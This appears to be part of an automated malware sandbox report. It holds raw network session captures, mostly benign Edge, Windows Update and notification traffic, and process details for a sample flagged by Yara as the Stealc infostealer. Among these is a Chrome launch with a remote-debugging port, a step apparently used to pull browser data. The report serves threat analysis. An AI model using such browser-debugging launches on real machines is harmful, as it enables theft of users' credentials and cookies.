2024-11-27 23:20:01 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.6	49929	23.59.251.218	443	9192	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:20:02 UTC	506	OUT	GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 23:20:03 UTC	549	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 24 Nov 2024 14:36:49 GMT X-Datacenter: westus X-ActivityId: 42dc5545-2b92-4098-b302-828293611e02 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 17955 Content-Length: 8192 Cache-Control: public, max-age=141400 Expires: Fri, 29 Nov 2024 14:36:42 GMT Date: Wed, 27 Nov 2024 23:20:02 GMT Connection: close
2024-11-27 23:20:03 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.6	49930	23.59.251.218	443	9192	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:20:04 UTC	505	OUT	GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 23:20:04 UTC	548	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Wed, 20 Nov 2024 04:23:41 GMT X-Source-Length: 62552 X-Datacenter: westus X-ActivityId: 6e9d88a8-7621-4810-953c-26c780815227 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=147837 Expires: Fri, 29 Nov 2024 16:24:01 GMT Date: Wed, 27 Nov 2024 23:20:04 GMT Connection: close
2024-11-27 23:20:04 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.6	49931	23.59.251.218	443	9192	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:20:06 UTC	505	OUT	GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 23:20:06 UTC	548	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Tue, 29 Oct 2024 19:03:22 GMT X-Source-Length: 95457 X-Datacenter: westus X-ActivityId: 155cd87c-435f-4d80-bfaf-3f0e9ec39163 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=244740 Expires: Sat, 30 Nov 2024 19:19:06 GMT Date: Wed, 27 Nov 2024 23:20:06 GMT Connection: close
2024-11-27 23:20:06 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.6	49932	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:20:07 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=DfvcFhpLtZakfL9&MD=ULFANm9N HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-27 23:20:08 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 64359e54-58e6-4bba-a666-df3c1eb69675 MS-RequestId: d71a3e14-718d-4c7a-bbab-dc91f09f8838 MS-CV: YHGDdpUCLUOQfZ7S.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 27 Nov 2024 23:20:07 GMT Connection: close Content-Length: 30005
2024-11-27 23:20:08 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-27 23:20:08 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.6	49933	23.59.251.218	443	9192	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:20:08 UTC	506	OUT	GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 23:20:08 UTC	551	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Fri, 15 Nov 2024 06:37:05 GMT X-Source-Length: 1437868 X-Datacenter: westus X-ActivityId: 35f8cf50-b6a5-4c74-ae05-da13e654185f Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 4096 Cache-Control: public, max-age=112674 Expires: Fri, 29 Nov 2024 06:38:02 GMT Date: Wed, 27 Nov 2024 23:20:08 GMT Connection: close
2024-11-27 23:20:08 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.6	49934	20.198.119.143	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:20:16 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 4c 46 6a 46 45 30 49 78 7a 45 4b 6a 34 6c 47 61 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 38 64 63 38 65 63 34 33 61 65 31 36 39 34 31 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: LFjFE0IxzEKj4lGa.1Context: 78dc8ec43ae16941
2024-11-27 23:20:16 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-27 23:20:16 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 4c 46 6a 46 45 30 49 78 7a 45 4b 6a 34 6c 47 61 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 38 64 63 38 65 63 34 33 61 65 31 36 39 34 31 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 52 7a 48 51 73 45 46 7a 30 58 4e 79 32 78 75 67 48 73 36 32 75 68 2f 34 79 71 7a 30 58 70 45 69 52 39 6f 32 48 32 74 47 7a 30 4b 68 57 75 65 78 65 41 37 41 46 50 6d 66 45 4f 55 41 4a 33 59 4e 52 47 44 73 6f 57 4b 42 54 2f 30 36 71 41 52 77 38 58 51 71 35 43 49 31 4b 31 57 39 54 65 54 37 6a 6e 69 34 49 71 52 71 4e 68 4d 30 57 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: LFjFE0IxzEKj4lGa.2Context: 78dc8ec43ae16941<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAARzHQsEFz0XNy2xugHs62uh/4yqz0XpEiR9o2H2tGz0KhWuexeA7AFPmfEOUAJ3YNRGDsoWKBT/06qARw8XQq5CI1K1W9TeT7jni4IqRqNhM0W
2024-11-27 23:20:16 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 4c 46 6a 46 45 30 49 78 7a 45 4b 6a 34 6c 47 61 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 38 64 63 38 65 63 34 33 61 65 31 36 39 34 31 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: LFjFE0IxzEKj4lGa.3Context: 78dc8ec43ae16941<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-27 23:20:17 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-27 23:20:17 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 46 67 6e 7a 4f 66 78 47 4c 55 2b 4c 6d 41 50 55 4c 58 62 7a 2f 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: FgnzOfxGLU+LmAPULXbz/A.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.6	49939	20.198.119.143	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:20:51 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 74 67 65 59 78 35 63 6d 49 55 6d 4c 4e 55 6f 51 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 61 61 65 61 31 36 38 38 62 34 37 66 64 34 66 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: tgeYx5cmIUmLNUoQ.1Context: 3aaea1688b47fd4f
2024-11-27 23:20:51 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-27 23:20:51 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 74 67 65 59 78 35 63 6d 49 55 6d 4c 4e 55 6f 51 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 61 61 65 61 31 36 38 38 62 34 37 66 64 34 66 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 52 7a 48 51 73 45 46 7a 30 58 4e 79 32 78 75 67 48 73 36 32 75 68 2f 34 79 71 7a 30 58 70 45 69 52 39 6f 32 48 32 74 47 7a 30 4b 68 57 75 65 78 65 41 37 41 46 50 6d 66 45 4f 55 41 4a 33 59 4e 52 47 44 73 6f 57 4b 42 54 2f 30 36 71 41 52 77 38 58 51 71 35 43 49 31 4b 31 57 39 54 65 54 37 6a 6e 69 34 49 71 52 71 4e 68 4d 30 57 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: tgeYx5cmIUmLNUoQ.2Context: 3aaea1688b47fd4f<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAARzHQsEFz0XNy2xugHs62uh/4yqz0XpEiR9o2H2tGz0KhWuexeA7AFPmfEOUAJ3YNRGDsoWKBT/06qARw8XQq5CI1K1W9TeT7jni4IqRqNhM0W
2024-11-27 23:20:51 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 74 67 65 59 78 35 63 6d 49 55 6d 4c 4e 55 6f 51 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 61 61 65 61 31 36 38 38 62 34 37 66 64 34 66 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: tgeYx5cmIUmLNUoQ.3Context: 3aaea1688b47fd4f<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-27 23:20:51 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-27 23:20:51 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 56 6c 52 77 38 30 4b 75 4f 30 75 42 2f 64 37 75 79 78 71 50 74 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: VlRw80KuO0uB/d7uyxqPtA.0Payload parsing failed.

Target ID:	0
Start time:	18:19:07
Start date:	27/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x390000
File size:	1'838'080 bytes
MD5 hash:	8A35D216BEA1E5026D155B7D7287279B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2162453737.0000000005170000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2674146425.0000000000391000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2675670278.000000000140E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	18:19:20
Start date:	27/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
